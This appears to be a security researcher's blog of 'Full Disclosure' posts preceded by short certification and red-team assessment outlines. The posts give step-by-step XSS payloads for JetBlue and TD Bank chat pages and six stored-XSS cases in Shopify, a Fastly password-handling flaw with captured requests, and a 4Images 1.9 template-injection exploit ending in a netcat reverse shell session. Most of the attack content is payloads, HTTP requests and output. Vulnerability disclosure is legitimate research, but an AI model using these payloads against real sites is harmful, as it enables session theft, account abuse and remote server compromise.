Tuesday 21 March 2023

OSCP / OSWP Certificate Pentests - Intro

Information

  • OSCP
    • Requires information gathering
    • Web vulnerabilities version checks
    • Bypass specific tweak flawed
    • Knowledge of exploiting flaws
  • OSWP
    • Requires WiFi pentest techniques
    • Tools for WiFi capture traffic
    • Exploiting vulnerabilities in WiFi
    • Tools cracking hashes found

Exploit

  • OWASP Top 10 knowledge
    • SQL inject
    • Cross site script
    • Local file include
    • Remote file include
    • Information gather files
  • OSCP syllabus knowledge
  • OSWP syllabus knowledge
  • Kali Linux tools usage
    • Nikto
    • Dirb
    • Metasploit
    • Burpsuite Free Edition
    • NMap
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SynAck Red Team Asssessment - Intro

Application

  • Several web applications
    • Need to complete all
  • Three infrastructure hosts
    • Need to complete all

Information

  • Requires web pentest techniques
    • Requires information gathering
    • Fuzzing host files
    • Bypass specific tweak flawed
    • Knowledge of exploiting flaws
  • Requires host pentest techniques
    • Tools for port scans
    • Scans for services expose
    • Exploiting vulnerabilities
    • Privilege escalate issues found

Exploit

  • OWASP Top 10 knowledge
  • Kali Linux tools usage
    • Nikto
    • Dirb
    • Metasploit
    • Burpsuite Free Edition
    • NMap
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Sunday 19 March 2023

Full Disclosure - JetBlue Reflected Cross Site Script

 Application

  • JetBlue chat web page

Information

  • Input not validated
  • Reflect Cross Site Scripting flaw

Exploit

XSS #1



1. Browse to Online Website

2. Select "/deals/from/new-york-city" page -> Search

2. Select Pages -> Have General Question -> Ask now

3. Paste Payload -> TEST"><img src=x onerror=alert(1)>

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Thursday 16 March 2023

Full Disclosure - TDBank Reflected Cross Site Script

 Application

  • TDBank chat web page


Information

  • Input not validated
  • Reflect Cross Site Scripting flaw


Exploit

XSS #1

1. Browse to Online Store

1. Browse to Personal Banking -> Contact Us

2. Select Pages -> Have General Question -> Ask now

3. Paste Payload -> TD Bank SWIFT/BIC code"><iframe width="1000px" height="450px" src="" onload=alert('XSS')>



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Sunday 12 March 2023

Full Disclosure - Fastly Password Reset Flaw

 Application

  • Fastly web application

Information
  • Weak password requirements
  • No checks for password control

Exploit

Password Reset Flawed
1. Reset user password
2. Access link sent
3. Temporary password sent plaintext

// HTTP POST request
POST /user/mwebsec%40gmail.com/password/request_reset HTTP/2
Host: api.fastly.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
[...]
[...]
{"g-recaptcha-response":"03AFY_a8UY[...]"}
[...]

// HTTP response
HTTP/2 200 OK
Cache-Control: no-store
[...]


// HTTP GET request
GET /auth/user/3lWtx49FrV2.../password/reset/f496875e6e1d88d80aa5.../1677948661/2f2ea8d230adaf03bd749081d... HTTP/2
Host: manage.fastly.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
[...]

// HTTP response
HTTP/2 200 OK
Cache-Control: public, max-age=60, stale-if-error=1209600, stale-while-revalidate=600
[...]


Password Change Misconfig
1. Login to user account
2. Click Account -> Personal Profile
3. Select Change Password -> Current Password -> FastLy%2540!1M
4. Select New Password -> P.P.P.P.P.P.P -> Confirm Password -> P.P.P.P.P.P.P
5. Select Sign Out Option
6. Login with new password

// HTTP POST request
POST /oauth/password HTTP/2
Host: api.fastly.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
[...]
[...]
client_id=fastly-ui&grant_type=password&new_password=P.P.P.P.P.P.P&old_password=FastLy%2540!1M&username=mwebsec%40gmail.com
[...]

// HTTP response
HTTP/2 401 Unauthorized
Status: 401 Unauthorized
Cache-Control: no-store
Content-Type: application/json
[...]
[...]
{"msg":"Token 3kzBPKXbsbtZBl9..."}
[...]

// HTTP POST request
POST /oauth/access_token HTTP/2
Host: api.fastly.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
[...]
[...]
client_id=fastly-ui&grant_type=password&password=P.P.P.P.P.P.P&username=mwebsec%40gmail.com
[...]


// HTTP response
HTTP/2 200 OK
Status: 200 OK
[...]
[...]
{"id":"7IU53vPHZ...",
"name":"manage.fastly.com browser session",
"user_id":"3lWtx49FrV...",
"customer_id":"535znFHg...",
[...]
"token_type":"bearer",
"scope":"global",
"services":[],
"access_token":"qwdBQF43O..."}
[...]
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Full Disclosure - Shopify Application Stored Cross Site Script

 

Application

  • Shopify web application


Information

  • Input not validated
  • Stored Cross Site Scripting flaw


Exploit


XSS #1

1. Browse to Online Store

2. Select Pages ->  Add Page

3. Set Title -> Title_Name

4. Set Content -> Paste Payload -> <script src=1 href=1 onerror="javascript:alert(1)"></script>

5. Select Show HTML 

6. Fix HTML encoding of tags


&lt;script src=1 href=1 onerror="javascript:alert(1)"&gt;&lt;/script&gt;

<script src=1 href=1 onerror="javascript:alert(1)"></script>


// HTTP POST request showing XSS payload

POST /admin/online-store/admin/api/unversioned/graphql?operation=PageUpdate HTTP/2

Host: test-img-src-x-onerror-alert1-test.myshopify.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0

[...]

[...]

"page":{"bodyHtml":"<script src=1 href=1 onerror=\"javascript:alert(1)\"></script>"

[...]


// HTTP response

HTTP/2 200 OK

Content-Type: application/json; charset=utf-8

[...]

[...]

page":{"id":"gid://shopify/OnlineStorePage/...","body":"<script src=\"1\" href=\"1\" onerror=\"javascript:alert(1)\"></script>\n\ntest","title":"Title_Name"

[...]


XSS #2

1. Browse to Online Store

2. Select Blog Posts -> Add Blog Post

3. Set Title -> Blog_Title

4. Set Content -> Paste Payload -> <script src=1 href=1 onerror="javascript:alert(1)"></script>

5. Select Show HTML 

6. Fix HTML encoding of tags


&lt;script src=1 href=1 onerror="javascript:alert(1)"&gt;&lt;/script&gt;

<script src=1 href=1 onerror="javascript:alert(1)"></script>


// HTTP POST request showing XSS payload

POST /admin/online-store/admin/api/unversioned/graphql?operation=ArticleUpdate HTTP/2

Host: test-img-src-x-onerror-alert1-test.myshopify.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0

[...]

[...]

"article":{"blogId":"gid://shopify/OnlineStoreBlog/...","body":"<script src=1 href=1 onerror=\"javascript:alert(1)\"></script>"

[...]


// HTTP response showing unsanitized payload

HTTP/2 200 OK

Content-Type: application/json; charset=utf-8

[...]

[...]

"article":{"id":"gid://shopify/OnlineStoreArticle/...","title":"Blog_Title","body":"<script src=\"1\" href=\"1\" onerror=\"javascript:alert(1)\"></script>\n","handle":"blog_title-2"

[...]


XSS #3

1. Browse to Products 

2. Select Collections -> Create Collection

3. Set Title -> Collection_Title

4. Set Content -> Paste Payload -> <script src=1 href=1 onerror="javascript:alert(1)"></script>

5. Select Show HTML 

6. Fix HTML encoding of tags


&lt;script src=1 href=1 onerror="javascript:alert(1)"&gt;&lt;/script&gt;

<script src=1 href=1 onerror="javascript:alert(1)"></script>


// HTTP POST request showing XSS payload

POST /admin/internal/web/graphql/core?operation=CreateCollection&type=mutation HTTP/2

Host: test-img-src-x-onerror-alert1-test.myshopify.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0

[...]

[...]

"collection":{"title":"Collection_Title","descriptionHtml":"<script src=1 href=1 onerror=\"javascript:alert(1)\"></script>"

[...]


// HTTP response showing unsanitized payload

HTTP/2 200 OK

Content-Type: application/json; charset=utf-8

[...]

[...]

"collection":{"id":"gid://shopify/Collection/...","title":"Collection_Title","descriptionHtml":"<script src=\"1\" href=\"1\" onerror=\"javascript:alert(1)\"></script>"

[...]


XSS #4

1. Browse to Products 

2. Select Inventory-> View Products

3. Select Product -> Title -> Product_Title

4. Set Description  -> Paste Payload -> <script src=1 href=1 onerror="javascript:alert(1)"></script>

5. Select Show HTML 

6. Fix HTML encoding of tags


&lt;script src=1 href=1 onerror="javascript:alert(1)"&gt;&lt;/script&gt;

<script src=1 href=1 onerror="javascript:alert(1)"></script>


// HTTP POST request showing XSS payload

POST /admin/internal/web/graphql/core?operation=UpdateProduct&type=mutation HTTP/2

Host: test-img-src-x-onerror-alert1-test.myshopify.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0

[...]

[...]

"product":{"descriptionHtml":"<script onerror=\"javascript:alert(1)\" href=\"1\" src=\"1\"></script>","workflow":"product-details-update"

[...]


// HTTP response showing unsanitized payload

HTTP/2 200 OK

Content-Type: application/json; charset=utf-8

[...]

[...]

"product":{"id":"gid://shopify/Product/...","title":"Product_Title","handle":"product_title","descriptionHtml":"<script onerror=\"javascript:alert(1)\" href=\"1\" src=\"1\"></script>"

[...]


XSS #5

1. Browse to Products 

2. Add Product -> Title -> Product_Title 

3. Set Description -> Paste Payload -> <script src=1 href=1 onerror="javascript:alert(1)"></script>

4. Select Show HTML 

5. Fix HTML encoding of tags


&lt;script src=1 href=1 onerror="javascript:alert(1)"&gt;&lt;/script&gt;

<script src=1 href=1 onerror="javascript:alert(1)"></script>


// HTTP POST request showing XSS payload

POST /admin/internal/web/graphql/core?operation=UpdateProduct&type=mutation HTTP/2

Host: test-img-src-x-onerror-alert1-test.myshopify.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0

[...]

[...]

"product":{"descriptionHtml":"<p>&nbsp;</p>...\"><script src=1 href=1 onerror=\"javascript:alert(1)\"></script>\n</code></pre>"

[...]


// HTTP response showing unsanitized payload

HTTP/2 200 OK

Content-Type: application/json; charset=utf-8

[...]

[...]

"title":"Gift_Title","><script src=\"1\" href=\"1\" onerror=\"javascript:alert(1)\"></script>\n</code></pre>",

[...]


XSS #6

1. Browse to Products 

2. Select Gift Cards

3. Add Gift Card Products -> Gift_Title

4. Set Description -> Paste Payload -> <script src=1 href=1 onerror="javascript:alert(1)"></script>

5. Select Show HTML 

6. Fix HTML encoding of tags


&lt;script src=1 href=1 onerror="javascript:alert(1)"&gt;&lt;/script&gt;

<script src=1 href=1 onerror="javascript:alert(1)"></script>


// HTTP POST request showing XSS payload

POST /admin/internal/web/graphql/core?operation=CreateProduct&type=mutation HTTP/2

Host: test-img-src-x-onerror-alert1-test.myshopify.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0

[...]


[...]

"product":{"title":"Gift_Title","descriptionHtml":"<script src=1 href=1 onerror=\"javascript:alert(1)\"></script>"

[...]


// HTTP response showing unsanitized payload

HTTP/2 200 OK

Content-Type: application/json; charset=utf-8

[...]

[...]

"title":"Gift_Title","handle":"gift_title-1","descriptionHtml":"<script src=\"1\" href=\"1\" onerror=\"javascript:alert(1)\"></script>"

[...]


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Full Disclosure - 4Images 1.9 Remote Code Execute

Application

  • 4Image 1.9
  • URL download

https://www.4homepages.de/download-4images


Information

  • Application vulnerable to code injection via user input


Exploit

1. Login as administrator user
2. Browse to "General" -> " Edit Templates" -> "Select Template Pack" -> "default_960px" -> "Load Theme"
3. Select Template "categories.html"
4. Paste reverse shell code
5. Click "Save Changes"
6. Browse to "http://host/4images/categories.php?cat_id=1";


// HTTP POST request showing reverse shell payload

POST /4images/admin/templates.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
[...]

__csrf=c39b7dea0ff15442681362d2a583c7a9&action=savetemplate&content=[REVERSE_SHELL_CODE]&template_file_name=categories.html&template_folder=default_960px[...]


// HTTP redirect response to specific template

GET /4images/categories.php?cat_id=1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
[...]

# nc -kvlp 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 43032
Linux kali 6.0.0-kali3-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.0.7-1kali1 (2022-11-07) x86_64 GNU/Linux
 13:54:28 up  2:18,  2 users,  load average: 0.09, 0.68, 0.56
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
kali     tty7     :0               11:58    2:18m  2:21   0.48s xfce4-session
kali     pts/1    -                11:58    1:40  24.60s  0.14s sudo su
uid=1(daemon) gid=1(daemon) groups=1(daemon)
/bin/sh: 0: can't access tty; job control turned off
$
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Friday Fun Pentest Series - 5 - spa-cartcmsv1.9.0.6

Description - It was found that the application suffers from business logic flaw - Additionally the application is vulnerable to username en...